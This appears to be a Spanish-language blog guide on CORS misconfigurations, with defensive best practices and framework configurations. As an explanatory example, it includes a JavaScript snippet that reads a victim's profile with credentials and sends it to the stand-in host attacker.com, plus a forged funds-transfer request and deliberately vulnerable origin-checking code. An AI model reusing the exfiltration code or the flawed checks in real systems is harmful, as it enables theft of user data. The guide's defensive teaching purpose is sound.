CORS de Confusión: Cómo un encabezado mal configurado puede poner en riesgo tu seguridad

Cross-Origin Resource Sharing (CORS) es una de esas tecnologías que los desarrolladores implementan a menudo con prisa, copiando configuraciones desde Stack Overflow solo para hacer desaparecer ese molesto error del navegador. Pero, ¿y si te dijera que tu solución rápida—ese encabezado Access-Control-Allow-Origin: * que parece inocente—podría estar desmantelando silenciosamente toda tu arquitectura de seguridad?
En esta guía completa, profundizaremos en las configuraciones incorrectas de CORS, exploraremos cómo pueden saltarse por completo la Política del Mismo Origen del navegador, y aprenderemos cómo implementar CORS correctamente sin convertir tu API en un buffet abierto para actores maliciosos.
Entendiendo la Base: ¿Qué es CORS y por qué existe?
Antes de explorar las trampas de seguridad, establezcamos una base sólida. CORS es un mecanismo de seguridad del navegador que permite a los servidores especificar explícitamente qué orígenes (dominios) tienen permiso para acceder a sus recursos. Está construido sobre la Política del Mismo Origen (SOP), que es una de las funciones de seguridad fundamentales de la web.
La Política del Mismo Origen evita que scripts que se ejecutan en un origen accedan a datos de otro origen. Un origen se define por la combinación de protocolo (http/https), dominio (example.com) y puerto (80, 443, etc.). Sin SOP, un sitio web malicioso podría hacer solicitudes autenticadas a tu API bancaria usando tus cookies de sesión existentes y robar tus datos financieros.
CORS proporciona una forma controlada de relajar estas restricciones cuando la comunicación legítima entre diferentes orígenes es necesaria. Cuando un navegador realiza una solicitud entre orígenes, incluye un encabezado Origin. Luego, el servidor responde con encabezados CORS que indican si permitir o no la solicitud.
La anatomía de una solicitud CORS
Existen dos tipos de solicitudes CORS: solicitudes simples y solicitudes preflight.
Solicitudes simples se hacen directamente e incluyen: - Métodos GET, HEAD o POST - Solo ciertos encabezados (Accept, Accept-Language, Content-Language, Content-Type con valores específicos) - Content-Type de application/x-www-form-urlencoded, multipart/form-data o text/plain
Solicitudes preflight son más complejas. El navegador primero envía una solicitud OPTIONS para verificar si la solicitud real es segura de enviar. Esto sucede cuando: - Se usan métodos como PUT, DELETE o PATCH - Se incluyen encabezados personalizados - Se usa Content-Type distinto a los permitidos para solicitudes simples
El servidor responde a la preflight con encabezados que indican qué está permitido:
- Access-Control-Allow-Origin: qué orígenes pueden acceder al recurso
- Access-Control-Allow-Methods: qué métodos HTTP están permitidos
- Access-Control-Allow-Headers: qué encabezados personalizados se pueden enviar
- Access-Control-Allow-Credentials: si se pueden incluir credenciales (cookies, encabezados de autorización)
La combinación peligrosa: Orígenes comodín con credenciales
Aquí es donde las cosas se vuelven peligrosas. Muchos desarrolladores, enfrentados a errores de CORS, implementan lo que parece una solución sencilla:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Aquí está el hecho crítico: esta combinación está prohibida por la especificación de CORS. Los navegadores rechazarán respuestas que incluyan un origen comodín y credenciales en true. Esto es una medida de seguridad deliberada.
Sin embargo, el verdadero peligro radica en implementaciones bien intencionadas pero defectuosas que intentan sortear esta restricción. Muchos desarrolladores implementan reflexión dinámica del origen—donde el servidor refleja cualquier origen del que proviene la solicitud:
# CÓDIGO PELIGROSO - NO USAR
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
Esta configuración es funcionalmente equivalente a permitir todos los orígenes con credenciales, destruyendo efectivamente la protección de la Política del Mismo Origen.
Escenarios de ataque en el mundo real
Exploraremos cómo un atacante puede explotar estas configuraciones incorrectas.
Escenario 1: Exfiltración de datos autenticados
Imagina que has construido una API en api.tuempresa.com con una política de CORS permisiva que refleja cualquier origen y permite credenciales. Tu API tiene un endpoint /api/user/profile que devuelve información sensible del usuario.
Un atacante crea un sitio malicioso en evil.com con este JavaScript:
fetch('https://api.tuempresa.com/api/user/profile', {
method: 'GET',
credentials: 'include' // Incluye cookies
})
.then(response => response.json())
.then(data => {
// Enviar datos robados al servidor del atacante
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
Cuando un usuario legítimo visita evil.com mientras está conectado en tu aplicación, esto es lo que sucede:
- El navegador del víctima hace una solicitud a tu API
- El navegador incluye automáticamente las cookies de autenticación
- Tu servidor ve el encabezado
Origin: https://evil.com - Tu política de CORS mal configurada refleja este origen
- Tu servidor establece
Access-Control-Allow-Credentials: true - El navegador permite que el script malicioso lea la respuesta
- El atacante exfiltra con éxito los datos del usuario
El usuario nunca sabe que sus datos fueron robados. El ataque es silencioso, invisible y devastador.
Escenario 2: Operaciones que cambian el estado
Las configuraciones incorrectas de CORS no solo permiten leer datos—pueden habilitar a los atacantes a realizar acciones en nombre de los usuarios. Considera un endpoint /api/transfer-funds:
fetch('https://api.banking.com/api/transfer-funds', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
recipient: 'cuenta-atacante',
amount: 10000
})
})
Con una política de CORS permisiva, un atacante puede ejecutar acciones autenticadas usando las credenciales del víctima. A diferencia de los ataques CSRF tradicionales (que pueden mitigarse con tokens CSRF), las configuraciones incorrectas de CORS permiten al atacante leer respuestas, haciéndolos mucho más peligrosos.
Patrones comunes de configuración incorrecta
Más allá del problema obvio del comodín, varias configuraciones sutiles pueden crear vulnerabilidades de seguridad.
Patrón 1: Bypass con regex
Algunos desarrolladores intentan incluir dominios en listas blancas usando expresiones regulares pero las implementan incorrectamente:
# CÓDIGO VULNERABLE
import re
allowed_pattern = r'^https://.*\.tuempresa\.com$'
origin = request.headers.get('Origin')
if re.match(allowed_pattern, origin):
response.headers['Access-Control-Allow-Origin'] = origin
Un atacante puede registrar un dominio como tuempresa.com.evil.com y sortear esta verificación porque el patrón regex no ancla correctamente la parte del dominio.
Patrón 2: Aceptación de origen null
Algunas implementaciones permiten el origen null, lo cual parece inofensivo pero puede ser explotado:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Los atacantes pueden generar solicitudes con un origen null usando iframes en sandbox o cadenas de redirección, permitiéndoles sortear las verificaciones de origen.
Patrón 3: Confiar ciegamente en subdominios
Confiar automáticamente en todos los subdominios puede ser peligroso:
# CÓDIGO ARRIESGADO
origin = request.headers.get('Origin')
if origin.endswith('.tuempresa.com'):
response.headers['Access-Control-Allow-Origin'] = origin
Si un atacante encuentra una vulnerabilidad XSS en cualquier subdominio (incluidos entornos de staging olvidados o subdominios de contenido generado por usuarios), puede aprovecharlo para atacar tu API principal.
El impacto: más que solo robo de datos
Las configuraciones incorrectas de CORS han sido explotadas en ataques reales con consecuencias graves. Los informes de vulnerabilidades recientes han destacado vulnerabilidades en varias aplicaciones y frameworks donde configuraciones débiles de CORS permitieron accesos no autorizados.
Los impactos incluyen:
- Fugas de datos: información sensible del usuario, datos personales y secretos empresariales pueden ser exfiltrados
- Toma de control de cuentas: los atacantes pueden leer tokens de autenticación o información de sesión
- Transacciones no autorizadas: las aplicaciones financieras están particularmente en riesgo
- Incumplimiento de normativas: GDPR, HIPAA y otras regulaciones exigen protección adecuada de datos
- Daño a la reputación: las brechas de seguridad erosionan la confianza del cliente
Informes recientes de CVE, incluyendo vulnerabilidades en frameworks como Flask-CORS, demuestran que incluso librerías populares pueden tener fallos de seguridad relacionados con CORS que requieren parches.
Asegurando tu configuración de CORS: Mejores prácticas
Ahora que entendemos los riesgos, exploremos cómo implementar CORS de forma segura.
1. Mantén una lista blanca explícita
Nunca uses comodines ni reflejes orígenes dinámicamente. En su lugar, mantén una lista blanca estricta:
ALLOWED_ORIGINS = [
'https://www.tuempresa.com',
'https://app.tuempresa.com',
'https://m.tuempresa.com'
]
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
else:
# No establecer encabezados CORS para orígenes no autorizados
pass
2. Usa coincidencia exacta de cadenas
Evita expresiones regulares a menos que sea absolutamente necesario. Si debes usarlas, sé extremadamente cuidadoso:
import re
# Bueno: coincidencia exacta de dominio
allowed_pattern = r'^https://([a-z0-9-]+\.)?tuempresa\.com$'
# Asegúrate de que el patrón esté correctamente anclado y probado
origin = request.headers.get('Origin')
if re.fullmatch(allowed_pattern, origin): # Usa fullmatch, no match
response.headers['Access-Control-Allow-Origin'] = origin
3. Separa APIs públicas y privadas
Si tienes recursos públicos (que no requieren autenticación) y recursos privados, usa endpoints o subdominios separados:
- API pública:
public-api.tuempresa.com- Puede usarAccess-Control-Allow-Origin: *sin credenciales - API privada:
api.tuempresa.com- Usa lista blanca estricta con credenciales
4. Implementa autenticación adecuada
No confíes solo en CORS para la seguridad. Implementa autenticación y autorización robustas:
- Usa tokens de corta duración en lugar de cookies de sesión de larga duración
- Implementa protección CSRF adecuada para operaciones que cambian estado
- Valida y autoriza cada solicitud en el servidor
- Considera usar tokens JWT con claims apropiados
5. Audita tu configuración de CORS regularmente
La seguridad no es una configuración de una sola vez. Las auditorías regulares deben incluir:
- Revisar todos los orígenes permitidos
- Verificar dominios obsoletos o no utilizados
- Probar la configuración de CORS con herramientas de escaneo de seguridad
- Monitorear solicitudes entre orígenes sospechosas
- Mantener actualizados frameworks y librerías
6. Usa encabezados de seguridad en conjunto
CORS funciona mejor como parte de un enfoque de seguridad en capas:
Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Probando tu configuración de CORS
Antes de desplegar en producción, prueba exhaustivamente tu implementación de CORS:
Pruebas manuales
Usa las herramientas de desarrollo del navegador o curl:
curl -H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: GET" \
-H "Access-Control-Request-Headers: Content-Type" \
-X OPTIONS \
https://api.tuempresa.com/api/user/profile
Revisa los encabezados de respuesta. Una configuración segura no debe establecer Access-Control-Allow-Origin para orígenes no autorizados.
Pruebas automatizadas
Las herramientas de prueba de seguridad pueden ayudar a identificar configuraciones incorrectas de CORS. Varios investigadores de bug bounty han reportado encontrar vulnerabilidades de CORS en 2025, demostrando que estos problemas siguen siendo frecuentes y valiosos de detectar temprano.
Considera programas de bug bounty
Las configuraciones incorrectas de CORS se descubren frecuentemente a través de programas de bug bounty. Considera establecer un programa de divulgación responsable para identificar problemas antes que actores maliciosos.
Consideraciones específicas de frameworks
Diferentes frameworks manejan CORS de manera distinta. Aquí configuraciones seguras para frameworks populares:
Express.js (Node.js):
const cors = require('cors');
const corsOptions = {
origin: ['https://www.tuempresa.com', 'https://app.tuempresa.com'],
credentials: true,
optionsSuccessStatus: 200
};
app.use(cors(corsOptions));
Django (Python):
CORS_ALLOWED_ORIGINS = [
"https://www.tuempresa.com",
"https://app.tuempresa.com",
]
CORS_ALLOW_CREDENTIALS = True
Spring Boot (Java):
@Configuration
public class CorsConfig {
@Bean
public WebMvcConfigurer corsConfigurer() {
return new WebMvcConfigurer() {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins("https://www.tuempresa.com")
.allowCredentials(true);
}
};
}
}
El camino a seguir: Seguridad desde el diseño
Las configuraciones incorrectas de CORS representan una tormenta perfecta de conveniencia, complejidad y consecuencias. La presión por “hacer que funcione” a menudo lleva a los desarrolladores a implementar políticas demasiado permisivas sin entender completamente las implicaciones de seguridad.
Las claves:
- Nunca reflejes orígenes dinámicamente sin validación estricta contra una lista blanca explícita
- Entiende que CORS no es una función de seguridad—es una relajación de la política de seguridad predeterminada del navegador
- Implementa defensa en profundidad: CORS es solo una capa; combínala con autenticación, autorización y encabezados de seguridad adecuados
- Audita y prueba regularmente tu configuración de CORS como parte de tu programa de seguridad
- Mantente informado sobre vulnerabilidades emergentes y mejores prácticas en la comunidad de seguridad
Las configuraciones incorrectas de CORS siguen siendo descubiertas y explotadas en aplicaciones modernas. Al entender los mecanismos subyacentes y seguir prácticas seguras de implementación, puedes aprovechar la comunicación entre orígenes sin comprometer la seguridad de tus usuarios.
Recuerda: en seguridad, la conveniencia suele ser enemiga de la seguridad. Esos pocos pasos adicionales para implementar una lista blanca adecuada pueden parecer tediosos, pero son la barrera entre los datos de tus usuarios y los atacantes potenciales. No dejes que la confusión de CORS ponga en riesgo tu seguridad—configúralo cuidadosamente, pruébalo a fondo y mantenlo vigilado.
¿Has descubierto configuraciones incorrectas de CORS en tus auditorías de seguridad? La comunidad de seguridad continúa revelando estas vulnerabilidades a través de programas de bug bounty y divulgación responsable. Mantente alerta, asegura tus configuraciones y prioriza siempre la seguridad de tus usuarios sobre la conveniencia del desarrollo.
Related InstaTunnel pages
Continue from this article into the most relevant product guides and workflows.
Related Topics
Keep building with InstaTunnel
Read the docs for implementation details or compare plans before you ship.